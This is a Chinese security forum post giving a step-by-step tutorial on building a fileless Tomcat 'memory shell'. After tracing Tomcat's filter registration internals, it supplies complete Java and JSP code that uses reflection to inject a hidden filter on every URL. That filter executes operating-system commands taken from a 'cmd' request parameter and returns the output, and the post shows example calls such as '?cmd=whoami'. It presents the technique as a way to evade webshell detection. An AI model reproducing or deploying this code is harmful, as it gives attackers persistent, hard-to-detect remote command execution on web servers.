安全矩阵

 找回密码
 立即注册
搜索
查看: 2147|回复: 0

手把手教你实现tomcat内存马

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2022-5-14 09:50:45 | 显示全部楼层 |阅读模式
原文链接:手把手教你实现tomcat内存马

01内存马
  • 为什么要使用内存马
  • 有哪些类型的内存马
  • 如何编写内存马

为什么要使用内存马
  • 传统的webshell或以文件驻留的后门越来越容易被检测。
  • 文件不落地,检测困难

有哪些类型的内存马
  • 根据不容的容器都有自己对应的内存马

    • tomcat
    • weblogic


02Tomcat Filter内存马
  • Filter是如何被创建的
  • Filter是如何被执行的
  • Filter是如何被销毁的(内存马暂时用不到)

Tomcat启动流程
  • 从web.xml文件读取配置信息

流程
1.从webxml读取配置
2.将FilterDef加入context

  1. ContextConfig#configureContext
复制代码
  1. for (FilterDef filter : webxml.getFilters().values()) {
  2.             if (filter.getAsyncSupported() == null) {
  3.                 filter.setAsyncSupported("false");
  4.             }
  5.             context.addFilterDef(filter);
  6.         }
复制代码
1.如果filterDef == null我们需要设置三个东西
  1. filterDef.setFilterName(filterName);

  2. filterDef.setFilterClass(filter.getClass().getName());

  3. filterDef.setFilter(filter);


  4. ApplicationContext

  5.   FilterDef filterDef = context.findFilterDef(filterName);

  6.         // Assume a 'complete' FilterRegistration is one that has a class and
  7.         // a name
  8.         if (filterDef == null) {
  9.             filterDef = new FilterDef();
  10.             filterDef.setFilterName(filterName);
  11.             context.addFilterDef(filterDef);
  12.         } else {
  13.             if (filterDef.getFilterName() != null &&
  14.                     filterDef.getFilterClass() != null) {
  15.                 return null;
  16.             }
  17.         }

  18.         if (filter == null) {
  19.             filterDef.setFilterClass(filterClass);
  20.         } else {
  21.             filterDef.setFilterClass(filter.getClass().getName());
  22.             filterDef.setFilter(filter);
  23.         }



  24. ContextConfig#configureContext

  25. for (FilterMap filterMap : webxml.getFilterMappings()) {
  26.             context.addFilterMap(filterMap);
  27.         }

  28. ContextConfig#processAnnotationWebFilter

  29.   FilterMap filterMap = new FilterMap();
复制代码





总结
1.从web.xml中读取到tomcat filter配置信息
2.将过滤器类和name对应起来(FilterDef)
3.将URLPattern和name对应起来(FilterMap)
4.将FilterDef和FilterMap加入context

Tomcat Filter初始化流程

  1. StandardContext#filterStart
复制代码
  1. ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
复制代码
  1. filterConfigs.put(name, filterConfig);
复制代码
  1. public boolean filterStart() {

  2.         if (getLogger().isDebugEnabled()) {
  3.             getLogger().debug("Starting filters");
  4.         }
  5.         // Instantiate and record a FilterConfig for each defined filter
  6.         boolean ok = true;
  7.         synchronized (filterConfigs) {
  8.             filterConfigs.clear();
  9.             for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
  10.                 String name = entry.getKey();
  11.                 if (getLogger().isDebugEnabled()) {
  12.                     getLogger().debug(" Starting filter '" + name + "'");
  13.                 }
  14.                 try {
  15.                     ApplicationFilterConfig filterConfig =
  16.                             new ApplicationFilterConfig(this, entry.getValue());
  17.                     filterConfigs.put(name, filterConfig);
  18.                 } catch (Throwable t) {
  19.                     t = ExceptionUtils.unwrapInvocationTargetException(t);
  20.                     ExceptionUtils.handleThrowable(t);
  21.                     getLogger().error(sm.getString(
  22.                             "standardContext.filterStart", name), t);
  23.                     ok = false;
  24.                 }
  25.             }
  26.         }

  27.         return ok;
  28.     }
复制代码

Tomcat Filter执行流程
  • 通过分析Filter执行,可以知道一个Filter需要哪些基本的数据

  1. @WebFilter(filterName = "testFilter",urlPatterns = "/*")
  2. public class MyFilterDemo1 implements Filter {

  3.     @Override
  4.     public void init(FilterConfig filterConfig) throws ServletException {
  5.         System.out.println("filter init");
  6.     }

  7.     @Override
  8.     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  9.         System.out.println("do Filter");
  10.         filterChain.doFilter(servletRequest, servletResponse);
  11.     }

  12.     @Override
  13.     public void destroy() {

  14.     }
  15. }
复制代码




分析internalDoFilter

  • filter是一个数组
  • 利用下标进行遍历和匹配规则
  • 通过Filter数组或者说通过FilterChain找到第一个关键数据ApplicationFilterConfig
  • 问题  :FilterChain是如何创建的?


创建一个FilterChain
  1. ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
复制代码

创建过滤链:createFilterChain
  1. public static ApplicationFilterChain createFilterChain(ServletRequest request,
  2.             Wrapper wrapper, Servlet servlet) {

  3.         // If there is no servlet to execute, return null
  4.         if (servlet == null)
  5.             return null;

  6.         // Create and initialize a filter chain object
  7.         ApplicationFilterChain filterChain = null;
  8.         if (request instanceof Request) {
  9.             Request req = (Request) request;
  10.             if (Globals.IS_SECURITY_ENABLED) {
  11.                 // Security: Do not recycle
  12.                 filterChain = new ApplicationFilterChain();
  13.             } else {
  14.                 filterChain = (ApplicationFilterChain) req.getFilterChain();
  15.                 if (filterChain == null) {
  16.                     filterChain = new ApplicationFilterChain();
  17.                     req.setFilterChain(filterChain);
  18.                 }
  19.             }
  20.         } else {
  21.             // Request dispatcher in use
  22.             filterChain = new ApplicationFilterChain();
  23.         }

  24.         filterChain.setServlet(servlet);
  25.         filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

  26.         // Acquire the filter mappings for this Context
  27.      //获取此上下文的筛选器映射
  28.         StandardContext context = (StandardContext) wrapper.getParent();
  29.         FilterMap filterMaps[] = context.findFilterMaps();

  30.         // If there are no filter mappings, we are done
  31.         if ((filterMaps == null) || (filterMaps.length == 0))
  32.             return (filterChain);

  33.         // Acquire the information we will need to match filter mappings
  34.      //获取匹配过滤器映射所需的信息
  35.         DispatcherType dispatcher =
  36.                 (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

  37.         String requestPath = null;
  38.         Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
  39.         if (attribute != null){
  40.             requestPath = attribute.toString();
  41.         }

  42.         String servletName = wrapper.getName();

  43.         // Add the relevant path-mapped filters to this filter chain
  44.      //将相关路径映射筛选器添加到此筛选器链
  45.         for (int i = 0; i < filterMaps.length; i++) {
  46.             if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
  47.                 continue;
  48.             }
  49.             if (!matchFiltersURL(filterMaps[i], requestPath))
  50.                 continue;
  51.             ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
  52.                 context.findFilterConfig(filterMaps[i].getFilterName());
  53.             if (filterConfig == null) {
  54.                 // FIXME - log configuration problem
  55.                 continue;
  56.             }
  57.             filterChain.addFilter(filterConfig);
  58.         }

  59.         // Add filters that match on servlet name second
  60.      //添加与servlet名称匹配的过滤器
  61.         for (int i = 0; i < filterMaps.length; i++) {
  62.             if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
  63.                 continue;
  64.             }
  65.             if (!matchFiltersServlet(filterMaps[i], servletName))
  66.                 continue;
  67.             ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
  68.                 context.findFilterConfig(filterMaps[i].getFilterName());
  69.             if (filterConfig == null) {
  70.                 // FIXME - log configuration problem
  71.                 continue;
  72.             }
  73.             filterChain.addFilter(filterConfig);
  74.         }

  75.         // Return the completed filter chain
  76.         return filterChain;
  77.     }
复制代码

03
Java代码实现伪代码
  1. package cn.jl.demo;

  2. import org.apache.catalina.Context;
  3. import org.apache.catalina.core.ApplicationFilterConfig;
  4. import org.apache.catalina.core.StandardContext;
  5. import org.apache.catalina.loader.WebappClassLoaderBase;
  6. import org.apache.tomcat.util.descriptor.web.FilterDef;
  7. import org.apache.tomcat.util.descriptor.web.FilterMap;
  8. import org.apache.tomcat.util.net.DispatchType;

  9. import javax.servlet.*;
  10. import javax.servlet.annotation.WebFilter;
  11. import java.io.IOException;
  12. import java.lang.reflect.Constructor;
  13. import java.lang.reflect.Field;
  14. import java.util.Map;

  15. @WebFilter("/*")
  16. public class MyFilterDemo implements Filter {
  17.     static {
  18.         try{
  19.             final String name = "jl";
  20.             final String URLPath = "/*";
  21.             WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
  22.             StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

  23.             MyFilterDemo myFilterDemo = new MyFilterDemo();

  24.             FilterDef filterDef = new FilterDef();
  25.             filterDef.setFilter(myFilterDemo);
  26.             filterDef.setFilterName(name);
  27.             standardContext.addFilterDef(filterDef);

  28.         }catch (Exception ex){
  29.             ex.printStackTrace();
  30.         }
  31.     }


  32.     @Override
  33.     public void init(FilterConfig filterConfig) throws ServletException {

  34.     }

  35.     @Override
  36.     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  37.         System.out.println("Do Filter ......");
  38.         String cmd;
  39.         if ((cmd = servletRequest.getParameter("cmd")) != null) {
  40.             Process process = Runtime.getRuntime().exec(cmd);
  41.             java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
  42.                     new java.io.InputStreamReader(process.getInputStream()));
  43.             StringBuilder stringBuilder = new StringBuilder();
  44.             String line;
  45.             while ((line = bufferedReader.readLine()) != null) {
  46.                 stringBuilder.append(line + '\n');
  47.             }
  48.             servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
  49.             servletResponse.getOutputStream().flush();
  50.             servletResponse.getOutputStream().close();
  51.             return;
  52.         }

  53.         filterChain.doFilter(servletRequest, servletResponse);
  54.         System.out.println("doFilter");
  55.     }

  56.     @Override
  57.     public void destroy() {

  58.     }
  59. }
复制代码
  1. http://localhost:8080/xx.jsp?cmd=whoami
复制代码

04JSP代码分析
  1. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  2. <%@ page import="java.lang.reflect.Field" %>
  3. <%@ page import="org.apache.catalina.core.StandardContext" %>
  4. <%@ page import="java.util.Map" %>
  5. <%@ page import="java.io.IOException" %>
  6. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
  7. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
  8. <%@ page import="java.lang.reflect.Constructor" %>
  9. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
  10. <%@ page import="org.apache.catalina.Context" %>
  11. <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>

  12. <%
  13. //设置<filter-name>
  14.     final String name = "jl";

  15. //获取filterConfigs
  16.     ServletContext servletContext = request.getSession().getServletContext();
  17.     Field appctx = servletContext.getClass().getDeclaredField("context");
  18.     appctx.setAccessible(true);
  19.     ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

  20.     Field stdctx = applicationContext.getClass().getDeclaredField("context");
  21.     stdctx.setAccessible(true);
  22.     StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

  23.     Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  24.     Configs.setAccessible(true);
  25.     Map filterConfigs = (Map) Configs.get(standardContext);

  26.     if (filterConfigs.get(name) == null) {
  27.         //这里实现filter
  28.         Filter filter = new Filter() {
  29.             @Override
  30.             public void init(FilterConfig filterConfig) throws ServletException {

  31.             }

  32.             @Override
  33.             public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  34.                 System.out.println("Do Filter ......");
  35.                 String cmd;
  36.                 if ((cmd = servletRequest.getParameter("cmd")) != null) {
  37.                     Process process = Runtime.getRuntime().exec(cmd);
  38.                     java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
  39.                             new java.io.InputStreamReader(process.getInputStream()));
  40.                     StringBuilder stringBuilder = new StringBuilder();
  41.                     String line;
  42.                     while ((line = bufferedReader.readLine()) != null) {
  43.                         stringBuilder.append(line + '\n');
  44.                     }
  45.                     servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
  46.                     servletResponse.getOutputStream().flush();
  47.                     servletResponse.getOutputStream().close();
  48.                     return;
  49.                 }

  50.                 filterChain.doFilter(servletRequest, servletResponse);
  51.                 System.out.println("doFilter");
  52.             }

  53.             @Override
  54.             public void destroy() {

  55.             }

  56.         };

  57.         //设置FilterDef
  58.         FilterDef filterDef = new FilterDef();
  59.         filterDef.setFilter(filter);
  60.         filterDef.setFilterName(name);
  61.         filterDef.setFilterClass(filter.getClass().getName());
  62.         
  63.         //设置FilterMap
  64.         FilterMap filterMap = new FilterMap();
  65.         filterMap.addURLPattern("/*");
  66.         filterMap.setFilterName(name);
  67.         filterMap.setDispatcher(DispatcherType.REQUEST.name());
  68.         
  69.         
  70.         standardContext.addFilterDef(filterDef);
  71.         standardContext.addFilterMapBefore(filterMap);
  72.         
  73.         //将FilterConfig加入FilterConfigs中
  74.         Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
  75.         constructor.setAccessible(true);
  76.         ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

  77.         filterConfigs.put(name, filterConfig);
  78.     }
  79. %>
复制代码


http://localhost/filter.jsp
http://localhost/1.jsp?cmd=whoami
参考链接
https://xz.aliyun.com/t/10362#toc-6
https://xz.aliyun.com/t/10696









本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 04:59 , Processed in 0.013934 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表